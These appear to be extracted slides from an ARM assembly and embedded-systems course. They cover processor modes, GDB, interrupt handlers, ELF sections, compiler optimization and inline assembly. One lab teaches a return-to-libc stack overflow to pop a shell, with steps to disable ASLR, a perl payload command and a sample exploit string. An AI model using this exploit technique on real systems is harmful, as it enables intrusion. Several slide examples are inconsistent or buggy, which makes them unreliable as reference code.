<td>User</td>
</tr>
<tr>
<td>10001</td>
<td>FIQ</td>
</tr>
<tr>
<td>10010</td>
<td>IRQ</td>
</tr>
<tr>
<td>10011</td>
<td>SVC (Supervisor)</td>
</tr>
<tr>
<td>10111</td>
<td>Abort</td>
</tr>
<tr>
<td>11011</td>
<td>Undefined</td>
</tr>
<tr>
<td>11111</td>
<td>System</td>
</tr>
</tbody>
</table>
Generic ARM Modes

• User: Normal program execution mode
• FIQ: used for handling a high priority (fast) interrupt
• IRQ: used for handling a low priority (normal) interrupt
• Supervisor: entered on board reset and when a Software Interrupt instruction is executed
• Abort: used for handling memory access violations
• System: a privileged mode using same registers as User mode
Banked Registers

Banked registers are preserved across mode changes.
Arm Processor modes

- User: normal program execution mode
- FIQ: used for handling a high priority (fast) interrupt
- IRQ: used for handling a low priority (normal) interrupt
- Supervisor: entered on reset and when SWI (software interrupt instruction) is executed
- Abort: used for handling memory access violations
- Undefined: used for handling undefined instructions
- System: a privileged mode that uses the same registers as the user mode
## ARMv7 Processor modes (Table B1-1)

<table>
<thead>
<tr>
<th>Processor mode</th>
<th>Encoding</th>
<th>Privilege Level</th>
<th>Implemented</th>
<th>Security State</th>
<th>Instruction/Condition (if available)</th>
</tr>
</thead>
<tbody>
<tr>
<td>User</td>
<td>usr</td>
<td>10000</td>
<td>PL0</td>
<td>Always</td>
<td>Both</td>
</tr>
<tr>
<td>FIQ</td>
<td>fiq</td>
<td>10001</td>
<td>PL1</td>
<td>Always</td>
<td>Both</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>INTERRUPT</td>
</tr>
<tr>
<td>IRQ</td>
<td>irq</td>
<td>10010</td>
<td>PL1</td>
<td>Always</td>
<td>Both</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>INTERRUPT</td>
</tr>
<tr>
<td>Supervisor</td>
<td>svc</td>
<td>10011</td>
<td>PL1</td>
<td>Always</td>
<td>Both</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>SVC/SWI</td>
</tr>
<tr>
<td>Monitor</td>
<td>mon</td>
<td>10110</td>
<td>PL1</td>
<td>Security Extensions (TrustZone)</td>
<td>Secure only</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Security State</td>
<td>Instruction/Condition (if available)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Secure only</td>
<td>SVC/SWI</td>
</tr>
<tr>
<td>Abort</td>
<td>abt</td>
<td>10111</td>
<td>PL1</td>
<td>Always</td>
<td>Both</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Data/Prefetch Abort EXCEPTION</td>
</tr>
<tr>
<td>Hyp</td>
<td>hyp</td>
<td>11010</td>
<td>PL2</td>
<td>Virtualization Extensions</td>
<td>Non-secure only</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Implemented</td>
<td>HVC/EXCEPTION</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Security State</td>
<td>Instruction/Condition (if available)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Non-secure only</td>
<td>HVC/EXCEPTION</td>
</tr>
<tr>
<td>Undefined</td>
<td>und</td>
<td>11011</td>
<td>PL1</td>
<td>Always</td>
<td>Both</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>UNDEFINED</td>
</tr>
<tr>
<td>System</td>
<td>sys</td>
<td>11111</td>
<td>PL1</td>
<td>Always</td>
<td>Both</td>
</tr>
</tbody>
</table>
Mode changing instructions

• SVC – SuperVisor Call or SWI – SoftWare Interrupt
  – Changes mode to Supervisor mode

• SMC – Secure Monitor Call
  – Changes mode to Secure (with TrustZone)

• HVC – Hypervisor Call
  – Changes mode supervisor (with hardware virtualization extensions)
Switching modes

• Specific instructions for switching between processor modes (SVC/SWI etc.)
• HVC (Hypervisor call) only available with specific hardware support
• SMC (Secure Monitor call) also only available only with specific hardware support (TrustZone)
• MOVS PC, LR (copies SPSR to CPSR/APSR)
• Linux kernel and other RTOS (“rich featured” OS) run in Supervisor mode generally
• Remember the SWI from Hello World?
Special instructions

• SUBS PC, LR, #<imm>
  – Subtracts #<imm> value from LR and branches to resulting address
  – It also copies SPSR to CPSR

• MOVS PC, LR
  – Same as above but branches to address in LR and also copies SPSR to CPSR

• For use in returning to User/System mode from exception/interrupt modes
How to read/write Status registers

• CPSR and APSR value can be saved into register

• MSR – Move to Special register from ARM core register

• Example: msr <cpsr/apsr> <r0>

• MRS – Move to ARM core Register from special register

• Example: mrs <r0> <cpsr/apsr>
SCTRLR Register

• System Control Register: part of Coprocessor CP15 registers
• Allows controlling system wide settings such as:
  – Mode (ARM/Thumb) for exceptions
  – Base address for exception vector table
• Not fully emulated in kvm/qemu
• Different for different processor profiles
• Controls exception handling configurations
  – Whether exceptions should be handled in ARM state or Thumb state
SCTRLR Register

• These settings are only available on Cortex-R and not on any others
  – SCTLR.DZ = 0 means a Divide-by-Zero returns zero result
  – SCTLR.DZ = 1 means a Divide-by-Zero generates and undefined instruction exception
  – IE bit gives instruction endianness as implemented and is READ ONLY
GNU Debugger (GDB) Intro

• The GNU debugger is a command line debugging tool
• A graphical frontend is also available called ddd
GNU Debugger (GDB) intro

• Start gdb using:
  – gdb <binary>

• Pass initial commands for gdb through a file
  – gdb <binary> –x <initfile>

• For help
  – help

• To start running the program
  – run or r <argv>
GDB initial commands

- One possible set of initial commands:
  
  b main
  run
  display/10i $pc
  display/x $r0
  display/x $r1
  display/x $r2
  display/x $r3
  display/x $r4
  display/x $r5
  display/x $r6
  display/x $r7
  display/x $r11
  display/32xw $sp
  display/32xw $cpsr

  display/{format string} – prints the expression following the command every time debugger stops

  {format string} include two things:
  Count – repeat specified number of {size} elements
  Format – format of how whatever is displayed

  x (hexadecimal), o(octal), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c (char) and s(string).

  Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).

  These commands can be entered into the init file, and helps to see the values in the registers after executing each statement or set of statements.
GDB Breakpoints

• To put breakpoints (stop execution on a certain line)
  – b <function name>
  – b *<instruction address>
  – b <filename:line number>
  – b <line number>

• To show breakpoints
  – info b

• To remove breakpoints
  – clear <function name>
  – clear *<instruction address>
  – clear <filename:line number>
  – clear <line number>
GDB examining variables/memory

• Similar to display, to look at contents of memory
• Use “examine” or “x” command
• `x/32xw <memory location>` to see memory contents at memory location, showing 32 hexadecimal words
• `x/5s <memory location>` to show 5 strings (null terminated) at a particular memory location
• `x/10i <memory location>` to show 10 instructions at particular memory location
GDB disassembly & listing things

• Can see disassembly if compiled with gdb symbols option in gcc (-ggdb)
  – disass <function name>
• Can see breakpoints
  – info breakpoints
• Can see registers
  – info reg
GDB stepping

• To step one instruction
  – stepi or si
• To continue till next breakpoint
  – Continue or c
• To see backtrace
  – backtrace or bt
Lab 2

• Use of gdb and your knowledge of ARM assembly to stop Dr. Evil
  – gdb –x <initfile> bomb (Can optionally specify initial commands file using –x)
  – b explode_bomb() (breakpoint at explode_bomb)
  – disass phase_1 (to see phase_1 code)
  – info reg to see all registers

• Find the right inputs to defuse it

• GDB cheat sheet on /home/arm/Desktop

• Shift + PgUp to scroll up and Shift + PgDown to scroll down
DAY 2 PART 1
# Control Flow operations (Table A4-1)

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>B &lt;label&gt;</td>
<td>Branch to label</td>
<td>PC = &amp;label</td>
</tr>
</tbody>
</table>
| BL <label>        | Branch to label with link register            | LR = PC+4  
                      |                                 | PC = &label                                                              |
| BLX <Rm or #imm>  | Branch exchange with link register            | LR = & of instr. after BLX instr.  
                      |                                 | PC = Rm & 0xFFFFFFFFFE  
                      |                                 | T bit = Rm & 1                                                          |
| BX <Rm or #imm>   | Branch exchange                               | LR = & of instr. after BLX instr.  
                      |                                 | PC = Rm & 0xFFFFFFFFFE  
                      |                                 | T bit = Rm & 1                                                          |

Source: [http://www.slideshare.net/guest56d1b781/arm-fundamentals](http://www.slideshare.net/guest56d1b781/arm-fundamentals)
Control Flow operations (Table A4-1)

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
<th>Thumb mode range</th>
<th>ARM mode range</th>
</tr>
</thead>
<tbody>
<tr>
<td>B &lt;label&gt;</td>
<td>Branch to target address</td>
<td>+/- 16 MB</td>
<td>+/- 32 MB</td>
</tr>
</tbody>
</table>
| BL, BLX <imm> | Call a subroutine  
Call a subroutine, change instruction set | +/- 16 MB        | +/- 32 MB       |
| BLX <reg>   | Call a subroutine, \textit{optionally} change instruction set | Any              | Any             |
| BX          | Branch to target address, change instruction set       | Any              | Any             |
| CBZ         | Compare and Branch on Zero (16-bit)  
Permitted offsets are even from 0 – 126 | +4 to +130 bytes | Does not exist  |
| CBNZ        | Compare and Branch on Nonzero (16-bit)  
Permitted offsets are even from 0 – 126 | +4 to +130 bytes | Does not exist  |
| TBB         | Table Branch (byte offsets) (32-bit)                   | 0-510 bytes      | Does not exist  |
| TBH         | Table Branch (halfword offsets) (32-bit)               | 0-131070 bytes   | Does not exist  |
More LDR/STR instructions!

- **LDRB Rd, [Rm]** – load byte at memory address in Rm into Rd
- **STRB Rd, [Rm]** – store byte from Rd into memory address in Rm
- **LDRH Rd, [Rm]** – load halfword at memory address in Rm into Rd
- **STRH Rd, [Rm]** – store halfword at memory address in Rm into Rd
- **LDRSB Rd, [Rm]** – load signed byte at memory address in Rm into Rd (sign extend to 32 bits)
- **LDRSH Rd, [Rm]** – load signed half-word at memory address in Rm into Rd (sign extend to 32 bits)
Other “Misc.” instructions - Hints

• PLD, PLDW [<reg>, <imm>] - Preload data from memory at address in <reg> with offset of <imm>
• PLI [<reg>, <imm>] – Preload instructions from memory
• DMB – Data memory barrier ensures order of memory operations
• DSB – Data Synchronization barrier ensures completion of memory access operation
• ISB – Instruction Synchronization barrier flushes pipeline
More Misc. instructions

- **SETEND BE/LE** – Sets the endianness to Big Endian or Little Endian for memory access (only applies to data)
- **SRS{DA|DB|IA|IB}** – Save Return State saves the LR and SPSR of one mode into the stack pointer of another mode
Banked Registers

Banked registers are preserved across mode changes.

User & System Mode

<table>
<thead>
<tr>
<th>r0</th>
<th>r1</th>
<th>r2</th>
<th>r3</th>
<th>r4</th>
<th>r5</th>
<th>r6</th>
<th>r7</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>r8</th>
<th>r9</th>
<th>r10</th>
<th>r11 (FP)</th>
<th>r12 (IP)</th>
<th>r13 (SP)</th>
<th>r14 (LR)</th>
<th>r15 (PC)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

CPSR

Banked registers are preserved across mode changes.

FIQ Mode

<table>
<thead>
<tr>
<th>r8</th>
<th>r9</th>
<th>r10</th>
<th>r11</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

IRQ Mode

<table>
<thead>
<tr>
<th>r13 (SP)</th>
<th>r14 (LR)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

SVC Mode

<table>
<thead>
<tr>
<th>r13 (SP)</th>
<th>r14 (LR)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Undef Mode

<table>
<thead>
<tr>
<th>r13 (SP)</th>
<th>r14 (LR)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Abort Mode

<table>
<thead>
<tr>
<th>r13 (SP)</th>
<th>r14 (LR)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Is timing important?

I'M JUST OUTSIDE TOWN, SO I SHOULD BE THERE IN FIFTEEN MINUTES.

ACTUALLY, IT'S LOOKING MORE LIKE SIX DAYS.

NO, WAIT, THIRTY SECONDS.

THE AUTHOR OF THE WINDOWS FILE COPY DIALOG VISITS SOME FRIENDS.

Source: http://xkcd.com/612/
PBX-A9 Memory Map

Figure 4.1. System memory map for standard peripherals

Watchdog timer

• Usually used in embedded systems scenarios
• A hardware timer that hard resets the system when it reaches zero
• Up to system designer to make sure counter does not reach zero
• Timer accessible through register
• Reset @ critical code sections where deadlocks can occur

Figure 1: A typical watchdog setup

Source:
Interrupts & Watchdog timers

• Is it worth it?
• Meant for mainly RTOS
• Helps recover from inconsistent state
• However system designer has to specify “consistent state”

Source: http://catless.ncl.ac.uk/Risks/19.49.html
Interrupts introduction

• Interrupts
  – can be synchronous (software generated)
  – can be asynchronous (hardware generated)
  – Literally interrupt the control flow of the program
• Generated when
  – System power off/reset
  – Undefined instruction
  – Non-aligned memory access
  – Non-readable memory access
  – Page faults
  – ...


Interrupt handlers

• Referred to as ISR or Interrupt Service Routine
• Use masks in registers to enable/disable interrupts
• Section in memory that has addresses to ISRs called an Interrupt Vector table (usually located at 0x00000000)
• Wire the handler by writing code directly at location in memory or roll your own lookup table code and insert into vector table
## Interrupt Wiring

<table>
<thead>
<tr>
<th>Exception type</th>
<th>Mode</th>
<th>Vector Address</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reset</td>
<td>Supervisor</td>
<td>0x00000000</td>
<td>1 (highest)</td>
</tr>
<tr>
<td>Data Abort</td>
<td>Abort</td>
<td>0x00000010</td>
<td>2</td>
</tr>
<tr>
<td>FIQ (Fast Interrupt)</td>
<td>FIQ</td>
<td>0x0000001C</td>
<td>3</td>
</tr>
<tr>
<td>IRQ (Normal Interrupt)</td>
<td>IRQ</td>
<td>0x00000018</td>
<td>4</td>
</tr>
<tr>
<td>Prefetch Abort</td>
<td>Abort</td>
<td>0x0000000C</td>
<td>5</td>
</tr>
<tr>
<td>Software Interrupt (SWI/SVC)</td>
<td>Supervisor</td>
<td>0x00000008</td>
<td>6</td>
</tr>
<tr>
<td>Undefined instruction</td>
<td>Undefined</td>
<td>0x00000004</td>
<td>6 (lowest)</td>
</tr>
</tbody>
</table>
Interrupt vector table

- FIQ
- IRQ
- RESERVED
- DATA ABORT
- PREFETCH ABORT
- SWI
- UNDEFINED
- RESET

LDR PC, PC, #100

SWI Handler

SWI Handler Code here...

0x6C
0x70
Current Program Status Register

- **I** – 1: Disable IRQ mode
- **F** – 1: Disable FIQ mode
- **T** – 0: ARM state
- **1**: Thumb state
- **_MODE** – Mode bits

<table>
<thead>
<tr>
<th>_Mode [4:0]</th>
<th>Mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>10000</td>
<td>User</td>
</tr>
<tr>
<td>10001</td>
<td>FIQ</td>
</tr>
<tr>
<td>10010</td>
<td>IRQ</td>
</tr>
<tr>
<td>10011</td>
<td>SVC (Supervisor)</td>
</tr>
<tr>
<td>10111</td>
<td>Abort</td>
</tr>
<tr>
<td>11011</td>
<td>Undefined</td>
</tr>
<tr>
<td>11111</td>
<td>System</td>
</tr>
</tbody>
</table>
Interrupt handlers II

• When an exception occurs, processor
  – Copies CPSR into SPSR_<mode>
  – Changes CPSR bits to reflect new mode, and (ARM/Thumb) state
  – Disables further interrupts if appropriate
  – Stores PC + 4 (ARM) or PC + 2 (Thumb) in LR_<mode>
  – Sets PC to address from vector table corresponding to exception

• When returning from an ISR
  – System developer needs to restore CPSR from SPSR_<mode>
  – Restore PC from LR_<mode>
  – Both can be done in one instruction MOVS PC, LR
Interrupt handlers III

• When IRQ exception occurs, only IRQs are disabled
• When FIQ exception occurs, both IRQs and FIQs are disabled
• Generally each exception mode’s LR has previous PC + 4 (except for Data abort exception)
• Data abort exception mode’s LR has previous PC + 8 (ARM & Thumb)

Sample IRQ Handler

- IRQ_Handler (ARM mode):

STMFD sp!, {r0-r12,lr}
BL ISR_IRQ @ Go to second level IRQ handler
SUB  lr, lr, #4
LDMFD sp!, {r0-r12,lr}^ 
SUBS pc, lr, #4
Sample FIQ Handler

• FIQ Handler

SUB  lr, lr, #4
STMFD sp!, {r0-r7,lr}
@ Renable any interrupts needed here
MRS R0, CPSR
CMP R1, #0x00000012 ; Test for IRQ mode
BICNE R0, R0, #0x80 @ Optionally renable IRQs here
@ Handle FIQ event here
LDMFD  sp!, {r0-r7,lr}^ 
SUBS pc, lr, #4
SWI (Software interrupt) handler wiring

- Most hardware define vector tables indexed by exception type.
- SWI handler address usually at 0x08
- As was seen earlier, Linux syscalls use SWI
- SWI encoding allows for 24-bit comment, which is generally ignored
- Can be used for differentiating b/w types of SWI
SWI handler wiring contd...

SWI 0x18 -> 0x08 LDR PC, PC, 0x100 -> S_Handler

0x108 STMFD sp!, {r0-r12, lr}
0x10c MOV r1, sp
0x110 LDR r0, [lr, #-4]
0x114 BIC r0, r0, #0xff000000

... BL C_SWI_HANDLER
... LDMFD sp!, {r0-r12, lr};
... MOVS pc, lr

SWI instruction is stored in LR_<Mode>
Encoded with the 24-bit value

Mask that 24-bit value into r0
Branch to SWI Handler

Run the appropriate handler based on that value

void C_SWI_Handler(int swi_num, ...)
{
    switch(swi_num) {
    case 0x00: service_SWI1();
    case 0x01: service_SWI2();
    ...
    }
}
Lab 3

• Interrupts lab
• Emulating a serial driver using UART
• In order to see something interesting in this lab, we take the input character and add 1 to it
• Modify inter.c and vectors.S files
• Add one or more lines where it says
  — /* ADD CODE HERE */
void __attribute__((interrupt)) irq_handler() {
    /* echo the received character + 1 */
    UART0_DR = UART0_DR + 1;
}

reset_handler:
    /* set Supervisor stack */
    LDR sp, =stack_top
    /* copy vector table to address 0 */
    BL copy_vectors
    /* get Program Status Register */
    MRS r0, cpsr
    /* go in IRQ mode */
    BIC r1, r0, #0x1F
    ORR r1, r1, #0x12
    MSR cpsr, r1
    /* set IRQ stack */
    LDR sp, =irq_stack_top
    /* Enable IRQs */
    BIC r0, r0, #0x80
    /* go back in Supervisor mode */
    MSR cpsr, r0
    /* jump to main */
    BL main
    B .
Current Program Status Register

- I – 1: Disable IRQ mode
- F – 1: Disable FIQ mode
- T – 0: ARM state
- 1: Thumb state
- _MODE – Mode bits

<table>
<thead>
<tr>
<th>_Mode [4:0]</th>
<th>Mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>10000</td>
<td>User</td>
</tr>
<tr>
<td>10001</td>
<td>FIQ</td>
</tr>
<tr>
<td>10010</td>
<td>IRQ</td>
</tr>
<tr>
<td>10011</td>
<td>SVC (Supervisor)</td>
</tr>
<tr>
<td>10111</td>
<td>Abort</td>
</tr>
<tr>
<td>11011</td>
<td>Undefined</td>
</tr>
<tr>
<td>11111</td>
<td>System</td>
</tr>
</tbody>
</table>
# ARM ELF Format

## ELF Header
- .init
- .text
- .rodata
- .data
- .bss
- .symtab
- .rel.text
- .rel.data
- .debug
- .line
- .strtab

### Section header table

### Read-only Code segment

### Read/write Data segment

### Symbol table and debugging info NOT loaded into memory
ARM ELF Format

- `.text` – has your code
- `.rodata` – has constants and read-only data
- `.data` – has your global and static variables
- `.bss` – contains uninitialized variables
- Heap starts after `.bss` section in memory and grows towards increasing memory
- Stack starts at the opposite end and grows towards heap
<table>
<thead>
<tr>
<th>Section</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>Program instructions and data</td>
</tr>
<tr>
<td>.rodata</td>
<td>Read-only data like format strings for printf</td>
</tr>
<tr>
<td>.data</td>
<td>Initialized global data</td>
</tr>
<tr>
<td>.bss</td>
<td>Un-initialized global data</td>
</tr>
<tr>
<td>.symtab</td>
<td>This section has the symbol information such as global variables and functions</td>
</tr>
<tr>
<td>.rel.text</td>
<td>List of locations in the .text that linker needs to determine when combining .o files</td>
</tr>
<tr>
<td>.rel.data</td>
<td>Relocation information for global variables</td>
</tr>
<tr>
<td>.debug</td>
<td>Debugging informations (such as the one turned on with gcc -g)</td>
</tr>
<tr>
<td>.line</td>
<td>Mapping b/w line numbers in C program and machine code (debug)</td>
</tr>
<tr>
<td>.strtab</td>
<td>String table for symbols in .symtab and .debug</td>
</tr>
</tbody>
</table>
How to perform a control hijack

• We can write to the SP given a vulnerable function (strcpy or memcpy with no bounds check into local variable)

• ATPCS as we saw requires args to be passed in through R0-R3

• For popping a shell we can make a system() with arguments containing string “/bin/sh”
ARM now executing first instruction in one()

Callee-save registers are pushed onto stack using STMFD sp!, {registers} along with R14 (LR)

And R11/R7/R3(FP) can also be updated relative to (R13)SP

<table>
<thead>
<tr>
<th>Local variables</th>
<th>...</th>
</tr>
</thead>
<tbody>
<tr>
<td>Caller-save registers</td>
<td></td>
</tr>
<tr>
<td>Args to One()</td>
<td></td>
</tr>
<tr>
<td>LR = PC@main</td>
<td></td>
</tr>
<tr>
<td>Callee-save registers</td>
<td></td>
</tr>
</tbody>
</table>

- main() “frame”
- One() “frame”
- undefined
Itzhak Avraham’s approach

• Use a return to libc style method
• We can overwrite LR in stack
• Return to a function that contains instructions to pop values from stack into R0 (containing our “/bin/sh” address) and another LR in stack pointing to system()
• The above function that contains this code for us is erand48()
erand48()+x:

POP PC, LR
SUB SP, #12
LDRD R0, R1

string
&system()
Junk
R1
R0 for system()
LR
Register val
Buf[5]
Buf[5]

Put “/bin/sh” string here
Point to system()
Junk value
R1: Can be junk
R0: Point to /bin/sh
Point to erand48()+x
Callee saved register(s)
Lab 4

• Control flow hijack lab
  – Objective: Get a shell using return to libc style attack
  – Itzhak Avraham’s paper included

• Other useful links:
Lab 4 Notes

• IMPORTANT:
  – echo 0 > /proc/sys/kernel/randomize_va_space

• In gdb you can breakpoint and run
  • p str // Gets address of /bin/sh string
  • p erand48 // Gets address of erand48 method
  • p system // Gets address of the system method
  • Remember to add 1 to the erand48 address (thumb2 instruction set requires LSB to be 1)
  • To verify run x/s <enter address from previous>
Lab 4 Notes contd...

• To craft your exploit string run:
  – perl –e ‘print “ABCD”x3 . “\xAB\xCD\xDE\xEF” . “EFGH”’ > solution
  – gdb ./boverflow
  – “b stage1” or whatever is in your init commands file
  – run `cat solution`
Possible Solution

• My erand48+x located at 0x76F28E56 + 1
• My system located at 0x76F2D768 +1
• My “/bin/sh” passed in through string located at 0x7EFFF6E8
• As per the stack diagram I need “ABCD”x3 + 0x578EF276 + 0xE8F6FF7E + “EFGH” + “IJKL” + 0x69D7F276 + “/bin/sh”
DAYS 2 PART 1.5
Code Optimization

• Ok we can write assembly and C programs
• However, do we know what really happens to that C program once we give it to the compiler?
• We assume certain things happen for us
• For example, dead code is removed
• However with great compilers comes great responsibility...
GCC Optimizations

- Can optimize for code size, memory usage
- Usually compiler knows best, however can also be \textbf{NOT} what system designer has in mind.

```c
int func1(int *a, int *b) {
  *a += *b;
  *a += *b;
}

int func2(int *a, int *b) {
  *a += ((*b)<<1);
}
```

- We can help compiler decide
- For more evil C, checkout \url{http://www.steike.com/code/useless/evil-c/}

GCC optimizations 2

• Common sub-expression elimination
• Dead code removal
  – Use ifdefs helps compiler eliminate dead code
• Induction variables & Strength reduction
• Loop unrolling
  – Increases code size, but reduces the number of branches
• Function inlining
  – Again can reduce number of branches
  – In C code, add __inline before function spec

ARM specific optimizations

• Use of constants using barrel shifter:
  – Instead of 5*x, use (x<<2) + x
• Use of conditional execution to reduce code size and execution cycles
• Count down loops
  – Counting upwards produces ADD, CMP and B{x} instructions
  – Counting downwards produces SUBS & BGE
• Use 32-bit data types as much as possible
• Avoid divisions or remainder operation (%)
• Register accesses more efficient than memory accesses
  – Avoid register spilling (more parameters than registers end up in memory on stack)
• Use pure functions when possible and only if they do not have side effects
ARM specific optimization: Count down loops

```c
int checksum(int *data)
{
    unsigned i;
    int sum = 0;
    for(i=0; i<64; i++)
        sum += *data++;
    return sum;
}
```

```c
int checksum(int *data)
{
    unsigned i;
    int sum = 0;
    for(i=63; i>=0; i--)
        sum += *data++;
    return sum;
}
```

MOV r2, r0 ; r2=data
MOV r0 #0 ; sum=0
MOV r2, r0 ; r2=data
MOV r0, MOV r1, #0; i=0
L1 LDR r3,[r2],#4 ; r3=*(data++)
ADD r1, r1, #1 ; i=i+1
CMP r1, 0x40 ; cmp r1, 64
ADD r0, r3, r0 ; sum +=r3
BCC L1 ; if i < 64, goto L1
MOV pc, lr ; return sum

MOV r2, r0 ; r2=data
MOV r0, #0 ; sum=0
MOV r1, #0x3f ; i=63
L1 LDR r3,[r2],#4 ; r3=*(data++)
ADD r0, r3, r0 ; sum +=r3
SUBS r1, r1, #1 ; i--, set flags
BGE L1 ; if i >= 0, goto L1
MOV pc, lr ; return sum
ARM specific optimization: 32-bit data types

void t3(void)
{
    char c;
    int x=0;
    for(c=0;c<63;c++)
    { x++;
    }

    MOV r0,#0 ; x=0
    MOV r1,#0 ; c=0
    CMP r1,#0x3f ; cmp c with 63
    BCS L2 ; if c>= 63, goto L2
    ADD r0,r0,#1 ; x++;
    ADD r1,r1,#1 ; c++
    AND r1,r1,#0xff ; c=(char) r1
    B L1 ; branch to L1
    L2 MOV pc,r14
}

void t4(void)
{
    int c;
    int x=0;
    for(c=0;c<63;c++)
    { x++;
    }

    MOV r0,#0 ; x=0
    MOV r1,#0 ; c=0
    CMP r1,#0x3f ; cmp c with 63
    BCS L2 ; if c>= 63, goto L2
    ADD r0,r0,#1 ; x++;
    ADD r1,r1,#1 ; c++
    AND r1,r1,#0xff ; c=(char) r1
    B L1 ; branch to L1
    L2 MOV pc,r14
}
ARM specific optimization: function calls

```c
void test(int x) {
    return(square(x*x) + square(x*x));
}
```

The following case shows `square()` has a side effect:
```c
int square(int x)
{
    counter++; /* counter is a global variable */
    return(x*x);
}
```

If no side effect, declare as pure function for compiler to optimize
```c
__pure int square(int x);
```
ARM specific optimization: code alignment

• Structure/Code alignment

```c
struct {
    char a;
    int b;
    char c;
    short d;
} vs.
struct {
    char a;
    char c;
    short d;
    int b;
}
```

• 12 bytes vs. 8 bytes

• Could use `__packed` keyword to remove padding

• However ARM emulates unaligned load/store by using several aligned byte access (inefficient)
DAY 2 PART 2
Writing assembly in whatever your editor may be...

Inline assembly (using butterflies)

• Follows the following form:
  asm(code : output operand list : input operand list: clobber list);

• The input/output operand list includes c and assembly variables

• Example:
  /* Rotating bits example */
  asm("mov %[result], %[value], ror #1" : [result] "=r" (y) : [value] "r" (x));

• “=r”
  r is referred to as a constraint
  = is referred to as a modifier

<table>
<thead>
<tr>
<th>Constraint</th>
<th>Usage in ARM state</th>
<th>Usage in Thumb state</th>
</tr>
</thead>
<tbody>
<tr>
<td>F</td>
<td>Floating point registers f0..f7</td>
<td>Not Available</td>
</tr>
<tr>
<td>H</td>
<td>Not Available</td>
<td>Registers r8..r15</td>
</tr>
<tr>
<td>G</td>
<td>Immediate floating point constant</td>
<td>Not available</td>
</tr>
<tr>
<td>H</td>
<td>Same a G, but negated</td>
<td>Not available</td>
</tr>
<tr>
<td>I</td>
<td>Immediate value in data processing instructions e.g. ORR R0, R0, #operand</td>
<td>Constant in the range 0 .. 255 e.g. SWI operand</td>
</tr>
<tr>
<td>J</td>
<td>Indexing constants -4095 .. 4095 e.g. LDR R1, [PC, #operand]</td>
<td>Constant in the range -255 .. -1 e.g. SUB R0, R0, #operand</td>
</tr>
<tr>
<td>K</td>
<td>Same as I, but inverted</td>
<td>Same as I, but shifted</td>
</tr>
<tr>
<td>L</td>
<td>Same as I, but negated</td>
<td>Constant in the range -7 .. 7 e.g. SUB R0, R1, #operand</td>
</tr>
<tr>
<td>I</td>
<td>Same as r</td>
<td>Registers r0..r7 e.g. PUSH operand</td>
</tr>
<tr>
<td>M</td>
<td>Constant in the range of 0 .. 32 or a power of 2 e.g. MOV R2, R1, ROR #operand</td>
<td>Constant that is a multiple of 4 in the range of 0 .. 1020 e.g. ADD R0, SP, #operand</td>
</tr>
<tr>
<td>m</td>
<td>Any valid memory address</td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>Not available</td>
<td>Constant in the range of 0 .. 31 e.g. LSL R0, R1, #operand</td>
</tr>
<tr>
<td>O</td>
<td>Not available</td>
<td>Constant that is a multiple of 4 in the range of -508 .. 508 e.g. ADD SP, #operand</td>
</tr>
<tr>
<td>r</td>
<td>General register r0 .. r15 e.g. SUB operand1, operand2, operand3</td>
<td>Not available</td>
</tr>
<tr>
<td>w</td>
<td>Vector floating point registers s0 .. s31</td>
<td>Not available</td>
</tr>
<tr>
<td>X</td>
<td>Any operand</td>
<td></td>
</tr>
</tbody>
</table>

Modifiers

• = is write-only operand, usually for all output operands
• + is read-write operand, must be listed as an output operand
• & is a register that should be used for output only

Example 6.c

int main(void)
{
    int a, b;
    a = 6;
    asm("mrs %[result], apsr": [result] "=r" (x) :);
    b = a - 182947;
    asm("mrs %[result], apsr": [result] "=r" (y) :);
    printf("a's negatory is %d\n", b);

    return 0;
}

Before the subtraction operation

APSR = 0x60000010

After the subtraction operation

APSR = 0x80000010
Writing C functions in assembly

• In C file, say it is called isawesome.c, declare the function:
  extern int mywork(int arg1, char arg2, ...);

• In assembly include
  .syntax unified @ For UAL
  .arch armv7-a
  .text
  .align 2
  .thumb
  .thumb_func
  .global mywork
  .type mywork, function
  @ CODE HERE
  .size mywork, -.mywork
  .end

• In make file use gcc -c -o mywork.o mywork.s
• Finally gcc -o awesomeprogram mywork.o isawesome.o

Source: http://omappedia.org/wiki/Writing_ARM_Assembly
Event handling

• WFE – Wait for Event, wakes up when either of following happens:
  – SEV is called
  – A physical IRQ interrupt
  – A physical FIQ interrupt
